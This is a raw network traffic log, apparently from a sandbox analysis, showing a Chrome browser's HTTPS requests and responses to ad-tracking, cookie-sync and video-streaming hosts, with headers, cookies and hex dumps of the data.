TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFEhYKBzZzemhpdGoSCwjUyO-zrZP-PBAFEhsKDHNoYXJldGhyb3VnaBILCML077Otk_48EAUSFgoHZXhlbGF0ZRILCJ6j8LOtk_48EAUSFgoHc2VtYXNpbxILCIaxnN2tk_48EAUSFgoHYXpoZTI2ZxILCILinN2tk_48EAUSFgoHdmN4bHprehILCNKTnd2tk_48EAUYBSgDMgsInveeisST_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.; expires=Sat, 24 May 2025 22:46:48 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:48 UTC	924	IN	Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 61 64 73 72 76 72 2e 6f 72 67 2f 75 6e 69 76 65 72 73 61 6c 5f 70 69 78 65 6c 2e 31 2e 31 2e 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 75 6e 69 76 65 72 73 61 6c 50 69 78 65 6c 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 67 6c 6f 62 61 6c 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <html><head> <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script></head><body> <div id="universalPixelContainer"> <script type="text/javascript"> (function(global) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.6	50599	151.101.2.27	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:49 UTC	812	OUT	GET /manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/rendition.m3u8?fastly_token=NjY1MTRmNDlfODY2NmIzMWQ3NDYyODE4Y2Y2MjVkNzViYzc1Nzc1ZGI3NTY0MTIwZTRmZjhmMTA2MmE5ZWU5OGQ3OGMwYjM4MQ%3D%3D HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://players.brightcove.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:49 UTC	644	IN	HTTP/1.1 200 OK Connection: close Content-Length: 898 Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Age: 3576 Date: Fri, 24 May 2024 22:46:49 GMT Via: 1.1 varnish X-Served-By: cache-ewr18149-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1716590809.155716,VS0,VE1 X-Device-Group: desktop-chrome
2024-05-24 22:46:49 UTC	898	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 33 30 0a 23 45 58 54 49 4e 46 3a 33 30 2e 30 30 30 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 66 64 37 38 63 61 66 65 2d 33 63 32 31 2d 34 36 35 33 2d 39 35 37 64 2d 65 31 65 63 62 Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:30#EXTINF:30.000,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.6	50601	18.239.67.100	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:49 UTC	1394	OUT	GET /universal_pixel.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" If-None-Match: "2775054c068b37509e0798448f7fd32c" If-Modified-Since: Mon, 20 May 2024 07:02:14 GMT sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFEhYKBzZzemhpdGoSCwjUyO-zrZP-PBAFEhsKDHNoYXJldGhyb3VnaBILCML077Otk_48EAUSFgoHZXhlbGF0ZRILCJ6j8LOtk_48EAUSFgoHc2VtYXNpbxILCIaxnN2tk_48EAUSFgoHYXpoZTI2ZxILCILinN2tk_48EAUSFgoHdmN4bHprehILCNKTnd2tk_48EAUYBSgDMgsInveeisST_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
2024-05-24 22:46:50 UTC	460	IN	HTTP/1.1 304 Not Modified Connection: close Last-Modified: Mon, 20 May 2024 07:02:14 GMT x-amz-server-side-encryption: AES256 Server: AmazonS3 Date: Fri, 24 May 2024 04:52:22 GMT ETag: "2775054c068b37509e0798448f7fd32c" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 dd5c8f1bc8fe255b1a3166b5a036fe2c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: SLFUZtR2hnDatTYjw4c3Et0ii_hw6CB1rlkjLgDyDgqhl0po8szSZQ== Age: 64469

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.6	50602	151.101.130.27	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:50 UTC	594	OUT	GET /manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/rendition.m3u8?fastly_token=NjY1MTRmNDlfODY2NmIzMWQ3NDYyODE4Y2Y2MjVkNzViYzc1Nzc1ZGI3NTY0MTIwZTRmZjhmMTA2MmE5ZWU5OGQ3OGMwYjM4MQ%3D%3D HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:50 UTC	644	IN	HTTP/1.1 200 OK Connection: close Content-Length: 898 Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Date: Fri, 24 May 2024 22:46:50 GMT Via: 1.1 varnish Age: 3577 X-Served-By: cache-ewr18154-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1716590810.176196,VS0,VE2 X-Device-Group: desktop-chrome
2024-05-24 22:46:50 UTC	898	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 33 30 0a 23 45 58 54 49 4e 46 3a 33 30 2e 30 30 30 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 66 64 37 38 63 61 66 65 2d 33 63 32 31 2d 34 36 35 33 2d 39 35 37 64 2d 65 31 65 63 62 Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:30#EXTINF:30.000,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.6	50603	192.132.33.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:50 UTC	1495	OUT	GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22f714db1d-357a-48e6-bac1-7b09137a8ea9%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A2%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCKCDt4evp4YDFSohBgAdDGcAEg%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D7786574454292%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D552065252%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fcontact-us.html%3F%22%2C%22fingerprint%22%3A%22% [TRUNCATED] Host: bttrack.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:50 UTC	484	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/plain Expires: -1 Access-Control-Allow-Origin: * Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:46:21 GMT; path=/; secure; SameSite=None X-ServerName: Track004-iad Date: Fri, 24 May 2024 22:46:21 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.6	50606	77.243.51.122	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:50 UTC	943	OUT	GET /tradedesk/1/get?sType=sync&sExtCookieId=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&sInitiator=external&_url=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dsemasio%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: uipglob.semasio.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SEUNCY=27F9076E5F83992F
2024-05-24 22:46:51 UTC	416	IN	HTTP/1.1 302 Found location: https://uipus.semasio.net/tradedesk/1/get?sType=sync&sExtCookieId=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&sInitiator=external&_url=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dsemasio%26gdpr%3D0%26gdpr_consent%3D date: Fri, 24 May 2024 22:46:50 GMT content-length: 0 routing-server-id: -1 access-control-allow-origin: * connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.6	50607	54.85.195.106	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:51 UTC	772	OUT	GET /bct?pid=02760a75-50e3-4c64-b77b-fb5fcd04e437&_ct=img&puid=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1 Host: mid.rkdms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:51 UTC	616	IN	HTTP/1.1 302 FOUND Server: awselb/2.0 Date: Fri, 24 May 2024 22:46:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close set-cookie: sc=12%3A117408; Domain=rkdms.com; Expires=Sat, 24 May 2025 22:46:51 GMT; Secure; Path=/; SameSite=None set-cookie: sessionid=h-d464f61175dc4a438429f3430ce4003c_t-1716590811; Domain=rkdms.com; Expires=Sat, 24 May 2025 22:46:51 GMT; Secure; Path=/; SameSite=None Vary: Accept-Encoding Pragma: no-cache Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Location: https://track2.securedvisit.com/sync/4974_04438

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.6	50608	52.49.81.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:51 UTC	820	OUT	GET /?companyId=127&id=ttd_id:00d6b47b-5df0-41e1-812e-c334ebaa9abf&red=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dazhe26g HTTP/1.1 Host: io.narrative.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:51 UTC	465	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:51 GMT Location: https://io.narrative.io/?io.narrative.guid.v2=82e29350-1a1f-11ef-9ca9-06213b35132f&companyId=127&id=ttd_id:00d6b47b-5df0-41e1-812e-c334ebaa9abf&red=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dazhe26g Server: nginx/1.22.1 Set-Cookie: io.narrative.guid.v2=82e29350-1a1f-11ef-9ca9-06213b35132f; Max-Age=47278080; SameSite=None; Secure Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.6	50610	50.57.31.206	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:51 UTC	941	OUT	GET /tradedesk/1/get?sType=sync&sExtCookieId=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&sInitiator=external&_url=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dsemasio%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: uipus.semasio.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SEUNCY=27F9076E5F83992F
2024-05-24 22:46:52 UTC	648	IN	HTTP/1.1 302 Found Location: https://match.adsrvr.org/track/cmf/generic?ttd_pid=semasio&gdpr=0&gdpr_consent= UIP-Response-Status: Ok Frontend-ID: 2 Set-Cookie: SEUNCY=27F9076E5F83992F; Expires=Sat, 24 May 2025 22:46:51 GMT; Path=/; Domain=.semasio.net; SameSite=None; HttpOnly; Secure Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Sat, 01 Jan 2011 12:00:00 GMT P3P: policyref="http://uip.semasio.net/w3c/p3p.xml", CP="NOI PSAa PSDa OUR IND UNI CNT" Pragma: no-cache Connection: close Date: Fri, 24 May 2024 22:46:51 GMT Content-Length: 0 Routing-Server-ID: -1 Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.6	50612	52.49.81.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:52 UTC	945	OUT	GET /?io.narrative.guid.v2=82e29350-1a1f-11ef-9ca9-06213b35132f&companyId=127&id=ttd_id:00d6b47b-5df0-41e1-812e-c334ebaa9abf&red=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dazhe26g HTTP/1.1 Host: io.narrative.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: io.narrative.guid.v2=82e29350-1a1f-11ef-9ca9-06213b35132f
2024-05-24 22:46:52 UTC	326	IN	HTTP/1.1 302 Found Cache-Control: no-cache Date: Fri, 24 May 2024 22:46:52 GMT Location: https://match.adsrvr.org/track/cmf/generic?ttd_pid=azhe26g Server: nginx/1.22.1 Set-Cookie: io.narrative.guid.v2=82e29350-1a1f-11ef-9ca9-06213b35132f; Max-Age=47278080; SameSite=None; Secure Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.6	50611	54.84.230.88	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:52 UTC	703	OUT	GET /sync/4974_04438 HTTP/1.1 Host: track2.securedvisit.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:52 UTC	212	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:52 GMT Content-Type: image/gif Content-Length: 43 Connection: close Server: nginx/1.24.0 Cache-Control: private, no-cache, proxy-revalidate Pragma: no-cache
2024-05-24 22:46:52 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.6	50613	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:52 UTC	1490	OUT	GET /track/cmf/generic?ttd_pid=semasio&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFEhYKBzZzemhpdGoSCwjUyO-zrZP-PBAFEhsKDHNoYXJldGhyb3VnaBILCML077Otk_48EAUSFgoHZXhlbGF0ZRILCJ6j8LOtk_48EAUSFgoHc2VtYXNpbxILCIaxnN2tk_48EAUSFgoHYXpoZTI2ZxILCILinN2tk_48EAUSFgoHdmN4bHprehILCNKTnd2tk_48EAUYBSgDMgsInveeisST_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
